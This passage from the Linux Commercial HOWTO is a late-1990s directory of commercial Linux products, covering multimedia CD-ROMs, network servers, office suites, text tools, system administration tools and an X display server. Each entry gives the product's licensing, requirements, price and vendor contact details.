This is a multimedia CD-ROM about world-known jazzman Peter Lipa. It is the first product from edition Journeys of Groups and Singers from KDK Company to contain Linux version of the program directly on the CD-ROM. The CD-ROM contains more than 8 hours of near-CD quality music (101 songs in full length), more than 30 minutes of videos, 2 hours of spoken word, more than 120 photos, 10 karaoke songs and a lot of other information (Bratislava Jazz Days, various performances all over the world, TV and theatre performances, ...). The CD-ROM is multilingual: English, German and Slovak.

Distribution media:

CD-ROM.

Licensing policy:

Program is free, data licensed per CPU.

OS provisions:

Linux kernel 2.0.27 or higher (may work with 1.2), XFree86 3.2 (may work with older X11R6 versions), 16 MB of RAM, 10-30 MB of disk space, no Motif, Intel Linux ELF.

Documentation:

Online and short description of controls in CD-ROM booklet (English, German and Slovak).

Available since:

October 14, 1997.

Countries with distribution:

World wide.

Price range:

US$30 plus shipping, includes unlimited free program upgrades (via FTP).

Vendor:

KDK Company, Ltd.

Vodna 8
040 01 Kosice
Slovakia

Phone:

+421 95 6233335

Fax:

+421 95 6233336

EMail:

linux@kdk.sk

URL:

http://www.kdk.sk, http://obchod.kdk.sk (virtual store).

Contact:

Ivan Schreter

Last modified:

November 1, 1997.

14.2 Lucka Vondrackova and her Journeys

Description:

This is a multimedia CD-ROM about Lucka Vondrackova, young Czech singer and actress. This CD-ROM is multilingual: English, Slovak and Czech. The product does not yet contain Linux version of the program directly on the CD-ROM (The Linux version of the program is supplied on an extra diskette or can be downloaded via FTP). The CD-ROM contains more than three hours of music (all Lucka's songs in full length), 9 videoclips, all lyrics to Lucka's songs with notes and guitar accords, more than 130 photos, a lot of interesting interviews, 10 karaoke songs and a lot of other information about Lucka.

Distribution media:

Multimedia data on CD-ROM, program on diskette or via FTP.

Licensing policy:

Program is free, data licensed per CPU.

OS provisions:

Linux kernel 2.0.27 or higher (may work with 1.2), XFree86 3.2 (may work with older X11R6 versions), 16 MB of RAM, 10-30 MB of disk space, no Motif, Intel Linux ELF.

Documentation:

Online and short description of controls in CD-ROM booklet (English and Slovak).

Available since:

October 14, 1997.

Countries with distribution:

World wide.

Price range:

US$34 plus shipping, includes unlimited free program upgrades (via FTP).

Vendor:

KDK Company, Ltd.

Vodna 8
040 01 Kosice
Slovakia

Phone:

+421 95 6233335

Fax:

+421 95 6233336

EMail:

linux@kdk.sk

URL:

http://www.kdk.sk, http://obchod.kdk.sk (virtual store).

Contact:

Ivan Schreter

Last modified:

November 1, 1997.

14.3 MpegTV Player 1.0

Description:

Real-time MPEG Video player (with audio) and Video-CD player.

Distribution media:

Internet.

Licensing policy:

Shareware for personal and non-profit use. Commercial licenses required for commercial and governmental use.

Documentation:

Online help and HTML manual on web site.

Extra features and add-ons:

Can stream video from networks.

Price range:

Shareware registration fee is US$10. Commercial licenses: please contact MpegTV at sales@mpegtv.com.

Vendor:

MpegTV LLC

90 Divisadero Street, #15
San Francisco, CA 94117
U.S.A.

Phone:

+1 415 864 6466

EMail:

info@mpegtv.com

URL:

http://www.mpegtv.com

Contact:

Tristan Savatier

Last modified:

December 23, 1997.

14.4 Peter Nagy and his Journeys

Description:

This is a multimedia CD-ROM about Peter Nagy, Slovak pop singer. This CD-ROM is available in Slovak only and does not yet contain the Linux version of the program directly on the CD-ROM (The Linux version of the program is supplied on an extra diskette or can be downloaded via FTP). The CD-ROM contains more than four hours of music (154 song samples, 38 songs in full length), 9 videoclips, 222 song lyrics, 93 song notes with guitar accords, 120 photos, 8 interviews, citations from the book Musicross, information about all albums of Peter Nagy and a lot of other information.

Distribution media:

Multimedia data on CD-ROM, program on diskette or via FTP.

Licensing policy:

Program is free, data licensed per CPU.

OS provisions:

Linux kernel 2.0.27 or higher (may work with 1.2), XFree86 3.2 (may work with older X11R6 versions), 16 MB of RAM, 10-30 MB of disk space, no Motif, Intel Linux ELF.

Documentation:

Online and short description of controls in CD-ROM booklet (Slovak only).

Available since:

October 14, 1997.

Countries with distribution:

World wide.

Price range:

US$34 plus shipping, includes unlimited free program upgrades (via FTP).

Vendor:

KDK Company, Ltd.

Vodna 8
040 01 Kosice
Slovakia

Phone:

+421 95 6233335

Fax:

+421 95 6233336

EMail:

linux@kdk.sk

URL:

http://www.kdk.sk, http://obchod.kdk.sk (virtual store).

Contact:

Ivan Schreter

Last modified:

November 1, 1997.

14.5 Xaudio

Description:

MP3 Player.

Distribution media:

Internet.

Licensing policy:

Free for personal and non-profit use. Commercial licenses required for commercial and governmental use.

Documentation:

Online help and HTML manual on web site.

Extra features and add-ons:

Can stream CD-quality audio from networks.

Price range:

Free for personal and non-profit use. Commercial licenses: please contact MpegTV at sales@mpegtv.com.

Vendor:

MpegTV LLC

90 Divisadero Street, #15
San Francisco, CA 94117
U.S.A.

Phone:

+1 415 864 6466

EMail:

xaudio@mpegtv.com

URL:

http://www.xaudio.com

Contact:

Gilles Boccon-Gibod

Last modified:

December 23, 1997.


Linux Commercial HOWTO: Network Servers

 Next Previous Contents

15. Network Servers

15.1 Critical Angle X.500 Enabler

Description:

The Critical Angle X.500 Enabler allows an LDAP-only directory server to be integrated into an X.500 directory service, such as the PARADISE international white pages directory or an enterprise messaging directory service. It supports all X.500(88) operations, including authentication.

Distribution media:

Internet (WWW).

Licensing policy:

Licensed per server.

OS provisions:

Reference platform is Red Hat Linux 3 or later for Intel.

Documentation:

English documentation is included.

Product support:

An upgrade subscription is also available.

Countries with distribution:

World wide.

Price range:

A single server license is US$495.

There is also (in 1997) a special version, PARADISE X.500 Enabler, exclusively for universities. This version does not include the support for authentication or modification operations; it is intended only for searching public information. A single server license of PARADISE X.500 Enabler is currently US$95.

Vendor:

Critical Angle Inc.

4815 W. Braker Lane #502-385
Austin TX 78759
U.S.A.

EMail:

info@critical-angle.com

URL:

http://www.critical-angle.com

Contact:

Mark Wahl

Last modified:

August 5, 1997.

15.2 DNEWS News Server

Description:

DNEWS is an advanced, full featured NNTP based news server. It is suitable for ISP's and Corporate Intranets. DNEWS can be used as a replacement for INN or cnews and will generally result in improved performance and much lower administration. Features include: easy installation and management, flexible expire settings, flexible access restrictions, EMail confirmation of posts, XOVER extentions implemented, streaming extentions built in, dynamic sucking feeds option, news to web gateway included.

Distribution media:

Internet (WWW).

Licensing policy:

Commercial, DNEWS is try before you buy software and can be downloaded from our web site for free trial.

OS provisions:

No special requirements

Documentation:

A user manual is provided in HTML format. Online help included.

Product support:

Supported by Netwin LTD.

Extra features and add-ons:

DNEWSWEB - A news to web gateway. Allows local and Usenet news groups to be added to ordinary HTML pages and allows users to read and post to local and Usenet news groups directly using any web browser.

Available since:

1995.

Countries with distribution:

World wide.

Price range:

US$485 (Free registration for schools and universities).

Vendor:

Netwin LTD

P.O Box 27574
MT Roskill
Auckland
New Zealand

Fax:

+64 9 6300 689

EMail:

netwin@netwinsite.com

URL:

http://netwinsite.com

Contact:

Stephen Pugmire

Last modified:

August 4, 1997.

15.3 Aventail Internet Policy Manager

Description:

Commerical SOCKS v5 server for Linux with support for multiple authentication methods, sophisticated access controls, datastream filtering, and intelligent auditing capabilities.

Distribution media:

CD-ROM and Internet (FTP).

Licensing policy:

Commercial, free demo availalbe from http://www.aventail.com/download.html

OS provisions:

Linux 2.x, 32 MB of RAM recommended, administration tool requires X11R6 or later. Approximately 14 MB of hard disk space required (less if you have Perl 5.003 and Perl/Tk installed).

Documentation:

English documentation available in PDF or Microsoft Word format.

Product support:

90 days free technical support. Yearly maintenance is 20% of your total licence cost. Maintenance includes product upgrades.

Extra features and add-ons:

Various authentication and filtering plugins to add functionality at run-time.

Available since:

November, 1996.

Countries with distribution:

World wide. VPN products avaiable only in 40 bit encryption strength outside of the USA or Canada due to export restrictions.

Price range:

IPM starting at US$6.495. VPN starting at US$7.995.

Vendor:

Aventail Corporation

808 Howell Street, 2nd Floor
Seattle, WA 98101
U.S.A.

Phone:

+1 888 762 5785, +1 206 215 1111

Fax:

+1 206 215 1120

EMail:

info@aventail.com

URL:

http://www.aventail.com

Last modified:

June 23, 1998.

15.4 Aventail VPN

Description:

Aventail VPN runs on Linux, Unix and NT platforms. Aventail VPN features multiple authentication and encryption methods, sophisticated access controls, intelligent filtering and makes no modifications to the underlying client or server operating system. Authentication modules include username and password, CHAP, RADIUS, SSL, digital certificates and token-based security. Encryption modules include DES, Triple DES and MD 4/5. Aventail VPN's access controls allow user permission to be grated based on variables such as the user's role within a company, group association, intended destination, type of application, type of encryption and/or authentication, or even more customized information. Aventail VPN is the only product to work on top of PPTP, IPSec, and L2TP.

Distribution media:

CD-ROM.

Licensing policy:

60 day evaluation period; pricing based on server connections and quantity of clients.

Product support:

All products ship with an automatic 90 day warranty and dial-up telephone technical support. To extend your coverage, you may purchase the Annual Support Program. The Support Program is 20% of your total license cost, annually renewable.

Available since:

May, 1997.

Countries with distribution:

World wide.

Price range:

Starts at US$6,995; Pricing based on connections.

Vendor:

Aventail Corporation

808 Howell Street, 2nd Floor
Seattle, WA 98101
U.S.A.

Phone:

+1 206 215 1111

Fax:

+1 206 215 1120

EMail:

info@aventail.com

URL:

http://www.aventail.com

Contact:

Deanna Leung

Last modified:

June 23, 1998.

15.5 WANPIPE

Description:

WANPIPE integrates into the Linux routing stack to provide IP and IPX routing over Frame Relay, PPP or X.25 networks at line speeds to 2.048Mbps. WANPIPE has either V.35, EIA530, X.21 or RS232 interfaces, or a built in T1 and Fractional T1 DSU/CSU. Extensive debugging and monitoring features make installation and management easy.

Distribution media:

Internet (FTP).

Licensing policy:

Linux source freely distributed.

OS provisions:

All versions of Linux.

Documentation:

Provided with source for Linux.

Product support:

Supported by Sangoma, unlimited.

Extra features and add-ons:

Optional integrated T1/Ft1 DSU/CSU, choice of V.35, X.21, EIA530 or RS232 cabling.

Available since:

1995.

Countries with distribution:

US, UK, Israel, Poland, Canada, Germany, Korea, China.

Price range:

US$589-$859.

Vendor:

Sangoma Technologies Inc.

1001 Denison Street, Suite 101
Markham, ON L3R 2Z6
Canada

Phone:

+1 905 474 1990, +1 800 388 2475

Fax:

+1 905 474 9223

EMail:

dm@sangoma.com

URL:

http://www.sangoma.com

FTP:

ftp://ftp.sangoma.com/pub/linux

Contact:

David Mandelstam

Last modified:

May 8, 1998.

15.6 Zeus Web Server

Description:

Scalable web application server for ISP hosting, Ontranets and secure e-Commerce. Full Frontpage support, 128 bit SSL3 world wide, Apache compatibility, web-centric delegatable management interface.

Application development in ISAPI, Java-Servlets and CGI. Distributed server-side Java gives high performance database connectivity.

Unlimited virtual servers with groupable configuration, real-time statistics, bandwidth throttling and extensive logging.

Distribution media:

Internet (WWW).

Licensing policy:

One License per machine running the software. Free 30 day evaluations are available from the site.

Documentation:

Online help, available in Germany and Spanish.

Price range:

Academic: £50. Commercial: £999.

Vendor:

Zeus Technology Limited

St Johns Innovation Centre, Cowley Road
Cambridge, CB4 4WS
UK

Phone:

+44 1223 42 17 27

Fax:

+44 1223 42 17 31

EMail:

sales@zeustech.net

URL:

http://www.zeustech.net

Contact:

Bryan Amesbury <bames@zeustech.net>

Last modified:

December 23, 1997.


Linux Commercial HOWTO: Office Tools

 Next Previous Contents

16. Office Tools

16.1 Corel WordPerfect 8

Description:

WordPerfect 8 for Linux Personal Edition is a world-class word processor, native on Linux. It offers the same outstanding tools, intuitive graphical interface and file formatas the Windows version. WordPerfect 8 for Linux imports over 40 document types (including Microsoft Word97), and supports over 1,000 different printers.

WordPerfect 8 for Linux Server Edition includes everything from the Personal Edition, plus a character terminal binary and several powerful utilities, such as background merge and print. Server Edition also offers concurrent licensing for business use.

WordPerfect 8 for Linux (both editions) offer localized versions in English (US), English (UK), English (Canada), English (Australia), French (national), French (Canada), German, Italian, Spanish, and Dutch.

Distribution media:

CD-ROM and Internet (WWW).

Licensing policy:

WordPerfect 8 for Linux Personal Edition: licensing is per machine. WordPerfect 8 for Linux Server Edition: licensing is concurrent use.

OS provisions:

Kernel 2.0.x and later stable versions; libc. For X Windows, 9 MB of RAM for first user, 2.5 MB RAM for each additional user, 43-104 MB hard disk space (depending on install options). For Character terminals, 2 MB RAM for first user, 1 MB RAM for each additional user, 31-40 MB hard disk space (depending on install options).

Documentation:

Printed manuals: GUI binary, character terminal binary (approximately 750 pages each). Online (Adobe Acrobat format) manuals available for GUI binary.

Product support:

WordPerfect 8 for Linux Personal Edition: self-support (knowledge base, discussion groups, etc.), EMail support, telephone toll support. WordPerfect 8 for Linux Server Edition: 30 day up-and-running telephone support, EMail support; additional support and maintenance packages are available.

Extra features and add-ons:

100's of Language modules (provided by Corel, these provide keyboard templates, spelling dictionaries, and other tools needed to create documents in other languages). Medical spelling dictionaries (provided by third parties--contact info@sdcorp.com for details).

Available since:

September, 1998.

Countries with distribution:

World wide.

Price range:

US$39.95-$495.

Vendor:

Software Development Corporation

512 East 1860 South
Provo, UT 84606
U.S.A.

Phone:

+1 801 370 9600

Fax:

+1 801 370 9696

EMail:

info@sdcorp.com

URL:

http://www.sdcorp.com

Contact:

John Gleave

Last modified:

August 15, 1998.

16.2 The American Heritage Dictionary Deluxe

Description:

This long-awaited release is ideal for technical writers, authors, and researchers. Previously available only on PC's, the product offers the ultimate reference tool for Linux users, with full definitions for well over 200,000 words, plus pronunciations, derivations, proper usage, idioms and sample sentences. The world reknowned Roget's 500,000 word Thesarus is fully integrated with the AHD. Browse, word and topic search, anagrams and more. Single user, network, academic and site licenses are available for Linux and key Unix platforms.

Distribution media:

CD-ROM, tapes, Internet (FTP and WWW).

Licensing policy:

Single user node locked or server license (shared). A free unclockable demo is available at our web site.

OS provisions:

Motif GUI, 8-16 MB RAM, 15 MB harddisk or run from the CD-ROM.

Documentation:

Documentation as a help text file. English language.

Product support:

Maintenance available. Call DUX for details.

Extra features and add-ons:

Addlitional reference volumes and additional language support to be announced.

Available since:

February, 1997.

Countries with distribution:

Currently sold in the USA and Germany. However, sales are made internationally via unclockable FTP/WWW copies and sold with authorized major credit card.

Price range:

US$49.95 for node lock single user. Call DUX or an authorized reseller for sliding scale or site license pricing.

Vendor:

DUX Software Corporation

425 Sherman Avenue Ste 330
Palo Alto, CA 94306
U.S.A.

Phone:

+1 800 543 4999, +1 415 473 1800

Fax:

+1 415 462 8723

EMail:

sales@dux.com

URL:

http://www.dux.com

Contact:

Bob Adams, Rob DuFrane

Last modified:

August 7, 1997.

16.3 Applixware Office Suite for Linux

Description:

Fully-graphical, fully-integrated office suite for Linux. Includes word processor, spreadsheet, presentation graphics, mail, database client, and HTML authoring software. Also includes Builder, a graphical rapid application development program.

Distribution media:

CD-ROM.

Licensing policy:

Per concurrent user license.

OS provisions:

Kernel 1.2.13 or better, XFree86 3.1.2 or better, 16 MB RAM, 150 MB hard disk.

Documentation:

Make-It-Happen Manual. Online documentation in English, French, and German.

Product support:

Paid support avaailable. Users can subscribe to mailing list applixware-list@applix.com, and see archives and FAQ's at http://linux.applixware.com.

Extra features and add-ons:

French and German interface, international dictionaries.

Available since:

July, 1996.

Countries with distribution:

North America, Europe, Japan, Australia.

Price range:

US$99, upgrades for US$79.

Vendor:

Applix, Inc.

112 Turnpike Road
Westboro, MA 01581
U.S.A.

Phone:

+1 508 870 0300

EMail:

mrlinux@applix.com

URL:

http://linux.applixware.com

Contact:

Richard Manly <rmanly@applix.com>

Last modified:

October 1, 1998.

16.4 D.M.S. Document Management System

Description:

The system collects documents in Tiff-g4, PostScript and JPEG and organizes them in folders with record information like names and descriptions. The system can be access using any web broswer: viewing, modify, full text retrieval and faxing are provided by a web interface. New documents are made by printing to printer spooler.

Licensing policy:

The system is installed by vendor on your Linux box with a server licence, unlimited clients, unlimited document number.

OS provisions:

Linux 2.0.

Documentation:

HTML.

Extra features and add-ons:

SQL server integrationm, print capture from accounting software.

Price range:

Upon request.

Vendor:

Studio LEADER Pro

Via Pietrastretta, 76
I-38100 Trento
Italy

Phone:

+39 461 828229

Fax:

+39 461 829826, +39 461 829877

EMail:

DMS@leader.it

URL:

http://www.leader.it

Contact:

Guido Brugnara <brugnara@leader.it>

Last modified:

August 19, 1997.

16.5 HotWire EasyFAX

Description:

Fully functional GUI Fax Management Program.

Distribution media:

Internet (WWW).

Licensing policy:

Free fully functional eval from WWW site..

OS provisions:

5.5 MB Disk, 4 MB RAM.

Documentation:

Online context-sensitive help.

Product support:

Via EMail and Usenet only.

Available since:

January 1, 1997.

Countries with distribution:

USA/Canada (Unisource Systems, Inc.), Germany/Europe (Delix Computer, GmbH).

Price range:

US$99.

Vendor:

Unisource Systems, Inc.

1409 N. Cove Boulevard
Longwood, FL 32750
U.S.A.

Phone:

+1 407 834 1973

Fax:

+1 407 834 8013

EMail:

sales@unisrc.com

URL:

http://www.unisrc.com

Contact:

Gary Heller

Last modified:

October 3, 1997.

16.6 NExS, the Network Extensible Spreadsheet

Description:

NExS is a full-featured graphical spreadsheet package which is designed to take advantage of the advanced features of Unix and the X Window system. It includes more than 230 computational functions and 13 2D and 3D graph types for engineering, scientific and business applications. NExS is extensible through a network aware API that allows user-defined "plug-ins" to add new features and functions in a variety of programming languages. NExS software plug-in bus includes 63 "slots" for remote processes to connect and extend NExS' basic functionality, allowing for the development of sophisticated networked applications.

Distribution media:

Internet (FTP and WWW).

Licensing policy:

The NExS Personal Edition license is for a single user and single platform type. The owner may use the license on multiple machines. The Professional Edition license is a floating network license which allows a pool of licenses to be used on any supported platform in your network. Without a license, NExS runs in "demo mode" with limited functionality.

OS provisions:

NExS runs on Linux kernels which support ELF binaries. There are two flavors for Linux, one which requires Motif 2.0 shared libraries, and one which includes Motif 2.0 statically linked.

Documentation:

The NExS User Guide is available in PostScript (letter format, 431 pages, or A4 format, 403 pages), and in HTML. API and tclNExS documentation are available separate from the User Guide, also in PostScript and HTML format. Printed documentation is also available. All documentation is in English.

Product support:

EMail support is standard at no cost. Phone-in support is available for a charge. Bug fix and minor version releases (e.g., 1.2.x -> 1.3.0) are no cost. Major releases are substantially discounted for existing licensees.

Extra features and add-ons:

NExS plug-ins and user-contributed code are available at http://www.xess.com/plugins.html.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

  • US$149 ($99 academic) for Personal Edition
  • US$249 ($125 academic) for Professional Edition

Vendor:

X Engineering Software Systems (XESS) Corp.

P.O. Box 33091
Raleigh, NC 27636
U.S.A.

Phone:

+1 800 961 7840, +1 919 387 0076

Fax:

+1 919 387 1302

EMail:

info@xess.com

URL:

http://www.xess.com

FTP:

ftp://ftp.vnet.net/pub/users/xess/NExS

Contact:

Dave Van den Bout <devb@xess.com>

Last modified:

March 15, 1997.

16.7 Axene Office

Description:

Axene Office suite includes Xclamation (Desktop Publishing), XQuad (Spreadsheet), XAllWrite (Word Processor) and XMayday (HTML Documentation browser). Available in English, French, German and Spanish.

Distribution media:

CD-ROM, tape, Internet (FTP).

Licensing policy:

Workstation or floating licenses. Downloadable demo version by FTP.

OS provisions:

8-16 MB RAM, 10 MB harddisk or run from the CD-ROM. a.out or ELF version.

Documentation:

Online HTML help and printed documentation.

Available since:

1998.

Countries with distribution:

World wide.

Price range:

US$49.

Vendor:

AXENE, Inc.

30 Montgomery street, suite 604
Jersey City, NJ 07302-3821
U.S.A.

Phone:

+1 201 434 4244

EMail:

info@axene.com

URL:

http://www.axene.com/english/showroom.html

FTP:

ftp://ftp.axene.com/pub

Last modified:

February 8, 1998.

16.8 Projector and Projector/Net

Description:

Produces project schedules and Gantt charts using critical path analysis from list of activities (tasks) with their associated durations and prerequisites. Projector produces sleek printed output and Projector/Net produces HTML for web clients.

Distribution media:

3.5" diskettes.

Licensing policy:

Single user and server licenses. There is a demo version available for downloading from our web site.

OS provisions:

PC/Linux. Projector requires GhostScript or PostScript printer. Projector/Net requires only a client-side web browser capable of displaying graphics (Netscape and IE are fine). RAM requirements for both versions are (very roughly) load module size plus 44 bytes/activity plus 32 bytes per prerequisite activity specification plus size of input project description file (excluding embedded comments). Tested only with Red Hat Linux 4.2. Projector/Net tested only with Linux/Apache server with Internet Explorer and Netscape on the client side.

Documentation:

All contained in the product distribution README and sample project description file (English).

Countries with distribution:

World wide.

Price range:

US$200 for Projector. US$2500 for Projector/Net.

Vendor:

IEDU

Morris Dovey
1001 Office Park Road, Suite 300
West Des Moines, IA 50265
U.S.A.

Phone:

+1 515 225 1636

EMail:

mrdovey@iedu.com

URL:

http://www.iedu.com/project

Contact:

Morris Dovey

Last modified:

May 8, 1998.

16.9 The Virtual Office System

Description:

Internet capable client/server, enterprise document imaging and management. Scan directly to Linux host from Window client without using EMail or FTP.

Distribution media:

3.5" diskettes, tape and Internet (FTP).

Licensing policy:

Free Windows client demo available from our web site. 30 day evaluation of enterprise server available upon request.

OS provisions:

Server: Linux 2.0. Client: Windows 95 and Windows NT Desktop.

Documentation:

Online help and printed administrator's manual.

Extra features and add-ons:

Windows file archiving.

Price range:

US$4995 - 5 user, 1 scanner, enterprise edition.

Vendor:

CONTEXT Information Systems, Ltd.

314 S. 2nd Street
Oakland, MD 21550
U.S.A.

Phone:

+1 301 334 6550

EMail:

sales@contextis.com

URL:

http://www.contextis.com

Last modified:

June 13, 1998.

16.10 Axene XAllWrite

Description:

The word-processing application Axene XAllWrite permits the user to create excellent quality documents with ease, whether a simple letter or a large, complex publication. It features tools for multi-document management, bitmap or line-art image integration, various font capabilities, and HTML format exportation. Available in English, French, German and Spanish.

Distribution media:

CD-ROM, tape, Internet (FTP).

Licensing policy:

Workstation or floating licenses. Downloadable demo version by FTP.

OS provisions:

8-16 MB RAM, 10 MB harddisk or run from the CD-ROM. a.out or ELF version.

Documentation:

Online HTML help and printed documentation.

Available since:

1998.

Countries with distribution:

World wide.

Price range:

US$25.

Vendor:

AXENE, Inc.

30 Montgomery street, suite 604
Jersey City, NJ 07302-3821
U.S.A.

Phone:

+1 201 434 4244

EMail:

info@axene.com

URL:

http://www.axene.com/english/xallwrite.html

FTP:

ftp://ftp.axene.com/pub

Last modified:

February 8, 1998.

16.11 Axene Xclamation

Description:

Xclamation has multidocument capabilities, multi-column and gutters capabilities, magnetic ruler marks, integration of text, bitmap or vectorized images within polymorphous frames, complex editing operations on frames (including logical, zooming, outlining, rotation, background transparency, etc.), and text exportation in HTML format. Available in English, French, Spanish and German.

Distribution media:

CD-ROM, tape, Internet (FTP).

Licensing policy:

Workstation or floating licenses. Downloadable demo version by FTP.

OS provisions:

8-16 MB RAM, 10 MB harddisk or run from the CD-ROM. a.out or ELF version.

Documentation:

Online HTML help and printed documentation.

Available since:

1996.

Countries with distribution:

World wide.

Price range:

US$25.

Vendor:

AXENE, Inc.

30 Montgomery street, suite 604
Jersey City, NJ 07302-3821
U.S.A.

Phone:

+1 201 434 4244

EMail:

info@axene.com

URL:

http://www.axene.com/english/xclamation.html

FTP:

ftp://ftp.axene.com/pub

Last modified:

February 8, 1998.

16.12 Axene XQuad

Description:

XQuad features all the necessary functions for scientific and financial calculations and for graphical presentation of numerical data, including over 100 mathematical, logical, and string manipulation functions, various types of graphs (from histograms to radar), importation of external data files (text, Excel, etc.), production tools which allow text in cells to have automatic effect on graphical presentation. Available in English, French, German and Spanish.

Distribution media:

CD-ROM, tape, Internet (FTP).

Licensing policy:

Workstation or floating licenses. Downloadable demo version by FTP.

OS provisions:

8-16 MB RAM, 10 MB harddisk or run from the CD-ROM. a.out or ELF version.

Documentation:

Online HTML help and printed documentation.

Available since:

1996.

Countries with distribution:

World wide.

Price range:

US$25.

Vendor:

AXENE, Inc.

30 Montgomery street, suite 604
Jersey City, NJ 07302-3821
U.S.A.

Phone:

+1 201 434 4244

EMail:

info@axene.com

URL:

http://www.axene.com/english/xquad.html

FTP:

ftp://ftp.axene.com/pub

Last modified:

February 8, 1998.


Linux Commercial HOWTO: Text Processing

 Next Previous Contents

17. Text Processing

17.1 Edith Pro for X11

Description:

Edith Pro is a powerful and easy-to-use text editing package, for editing plain text such as EMail messages, HTML, LaTeX and programming languages. It is aimed at people who want a flexible editing tool but who are not prepared to spend much time into learning and configuring their application. It includes a fast text-only web browser with access to the system manual and info.

Distribution media:

Internet (WWW).

Licensing policy:

You are only allowed to download Edith from the ZFC web pages for personal use. Without a licence, Edith will regularly issue messages stressing that the copy used is not licenced. Personal use without a licence is allowed, but organizations are required to buy a licence.

OS provisions:

ELF binary. 1MB is sufficient for editing normally sized text.

Documentation:

Online HTML help covers the printed manual completely. The printed manual contains illustrations not in the online help.

Product support:

Free updates can be downloaded from the ZFC web pages. Licence holders will be notified of updates. Licence holders can contact ZFC by EMail for immediate support.

Available since:

January 1, 1997.

Countries with distribution:

World wide directly from ZFC.

Price range:

NLG 70 (approximately US$35) single host, NLG 400 (approximately US$200) full site licence. 50%50 discount for educational organizations and students.

Vendor:

ZFC

P.O. Box 15813
1001 NH Amsterdam
The Netherlands

Phone:

+31 20 4 208 248

EMail:

zfc@zfc.nl

URL:

http://www.zfc.nl

Contact:

Annius V. Groenink

Last modified:

August 4, 1997.

17.2 TeraSpell 97 for Emacs

Description:

TeraSpell 97 for Emacs is the user-friendly spell checker for Emacs which incorporates visual highlights for misspelled words and on-the-fly spell checking. TeraSpell 97 for Emacs sets a new standard of quality in spelling correction software by providing the technically most advanced spelling correction system available on the market.

TeraSpell eliminates the traditional tedious spelling dialog and speeds up the process of spell checking your documents. Visual highlights let you efficiently identify all spelling errors in your documents at once and ignore all non-words that you may have used in your document. TeraSpell can spell check your document as you type. As soon as you type an incorrect word, it becomes highlighted. By clicking right on a highlighted word, a menu of suggestions appears.

Distribution media:

Internet (EMail and WWW).

Licensing policy:

Evaluation version available for free from our web site. Single user license, 3, 5, 10, 20 users license. Site-wide and University wide licenses,

OS provisions:

Emacs 19.29.1 or higher. XEmacs 19.14 or higher.

Documentation:

Online documentation.

Product support:

EMmail support. WWW Updates. FAQs on WWW.

Extra features and add-ons:

Additional languages available.

Available since:

August, 1997.

Countries with distribution:

World wide.

Price range:

US$29.99 single user student Linux license. US$89 single user Linux, Solaris, Irix, HPUX.

Vendor:

Teragram Corporation

236 Huntington Avenue
Boston MA 02115-4701
U.S.A.

Phone:

+1 617 369 0100

Fax:

+1 617 369 0101

EMail:

info@teragram.com

URL:

http://www.teragram.com

Contact:

Yves Schabes

Last modified:

August 16, 1997.


Linux Commercial HOWTO: System Administration Tools

 Next Previous Contents

18. System Administration Tools

18.1 Host Factory

Description:

Host Factory is a system to control the entire software contents of deployed Unix machines. Host Factory lets you customize one prototype Unix system and use it to build hundreds of similar systems. You can deliver incremental changes to running systems and roll them back if they fail. Changes are tracked in a version-control filesystem integral to the product. Host Factory provides an environment to do configuration management and version control of complete hosts.

Licensing policy:

Commercial and GPL.

Documentation:

Printed documentation.

Product support:

EMail.

Available since:

1996.

Countries with distribution:

World wide.

Price range:

Upon request. Special prices for educational institutions.

Vendor:

Working Version

31 Shea Road
Cambridge, MA 02140
U.S.A.

EMail:

bb@wv.com

URL:

http://www.wv.com

Contact:

Brian Bartholomew

Last modified:

July 22, 1997.

18.2 PerfectBACKUP+

Description:

PerfectBACKUP+ is the Unix/Linux world's premier Backup/Restore utility. It is the worlds fastest backup/restore for Unix and has been since 1985. Previously sold in the US as FASTBACK PLUS for Unix, the counterpart to the DOS FASTBACK PLUS, it now has character and Motif interfaces, networking support, compression, the best verification and recovery, scheduling and is compatible with both tar and cpio. Backs up all files, devices, partitions etc. and can backup Windows, Netware and Windows NT drives too.

Distribution media:

3.5" diskettes, Internet (WWW), 4/8mm DAT and soon CD-ROM.

Licensing policy:

Free evaluation copy from our web site. Free online manual from same the same address. Price per CPU, unlimited users.

OS provisions:

Kernels 1.2.x and 2.0.x, X11R6, Motif 1.2, 3 MB of RAM, 3 MB disk.

Documentation:

Printed (188 pages), PostScript online, and online help. English language documentation, but help by phone and EMail also avilable in Spanish.

Product support:

Unlimited free EMail support and phone support.

Extra features and add-ons:

Comes with free PC program to read tar/cpio diskettes onto PC. AutoChanger add-on with tape recycling for high-end shops.

Available since:

1996.

Countries with distribution:

USA, Canada, Germay, UK, Switzerland, Singapore, Malaysia, Germany.

Price range:

UD$79 to US$499. Linux off the net (no media) is US$79 and HP/UX is US$499. Always full product.

Vendor:

Unisource Systems, Inc.

1409 North Cove Boulevard
Longwood, FL 32750
U.S.A.

Phone:

+1 407 834 1973

Fax:

+1 407 834 1973

EMail:

sales@unisrc.com

URL:

http://www.unisrc.com

Contact:

Gary Heller

Last modified:

October 3, 1997.

18.3 Venus

Description:

Venus is an distributed administration tool for any network built of Unix workstations from different hardware vendors. A Venus network presents itselfs to the user as a homogeneous computer system and guarantees transparent access to any network resource. It provides software tools for major cluster management tasks: configuration management, software distribution, user and filesystem administration.

Licensing policy:

Commercial.

OS provisions:

Currently build on top of the S.u.S.E distribution.

Documentation:

Printed doumentation, online help.

Product support:

Hotline, EMail, courses.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

Upon request. Special prices for educational institutions.

Vendor:

science + computing GmbH

Hagellocher Weg 71
D-72070 Tübingen
Germany

Phone:

+49 7071 9457 0

Fax:

+49 7071 9457 27

EMail:

info@science-computing.de

URL:

http://www.science-computing.de

Contact:

Olaf Flebbe

Last modified:

February 25, 1997.


Linux Commercial HOWTO: X Windows Related Products

 Next Previous Contents

19. X Windows Related Products

19.1 Accelerated-X Display Server

Description:

Commercial grade X display server with workstation-class features like multiple visuals, overlays, and gamma correction for FreeBSD, and Linux. The AcceleratedX server drives the most popular graphics hardware, including the latest cards from ATI, Diamond, Matrox, NeoMagic, Number 9, and S3. In all, more than 490 different cards are supported.

Distribution media:

CD-ROM.

Licensing policy:

Per CPU.

OS provisions:

No known problems with any Linux distribution.

Documentation:

A 100 page perfect bound manual is included.

Product support:

Unlimited support in included.

Available since:

1994.

Countries with distribution:

World wide.

Price range:

Contact your local reseller, or Xi Graphics.

Vendor:

Xi Graphics

1801 Broadway, Suite 1710
Denver, CO 80202
U.S.A.

Phone:

+1 303 298 7478

Fax:

+1 303 298 1406

EMail:

sales@xig.com

URL:
